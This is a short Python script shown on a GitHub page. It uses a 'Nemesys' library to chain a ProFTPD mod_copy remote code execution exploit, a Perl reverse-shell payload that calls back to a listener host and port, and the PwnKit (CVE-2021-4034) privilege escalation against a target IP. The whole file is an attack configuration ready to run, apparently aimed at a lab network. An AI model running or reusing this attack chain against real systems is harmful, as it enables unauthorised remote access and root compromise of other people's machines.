-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathmain.py
32 lines (26 loc) · 853 Bytes
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from nemesys.nemesys import Nemesys
def main():
client = Nemesys(password="password")
exploit_name = "unix/ftp/proftpd_modcopy_exec"
payload_name = "cmd/unix/reverse_perl"
exploit_options = {
'RHOSTS': '192.168.11.128',
'SITEPATH': '/var/www/html'
}
payload_options = {
'LHOST': '192.168.11.129',
'LPORT': 4445
}
# privilege escalation using PwnKit (CVE-2021-4034)
privilege_escalation_exploit = "linux/local/cve_2021_4034_pwnkit_lpe_pkexec"
target = "192.168.11.128"
client.run_attack(
exploit_name=exploit_name,
payload_name=payload_name,
exploit_options=exploit_options,
payload_options=payload_options,
privilege_escalation_exploit=privilege_escalation_exploit,
target=target
)
if __name__ == "__main__":
main()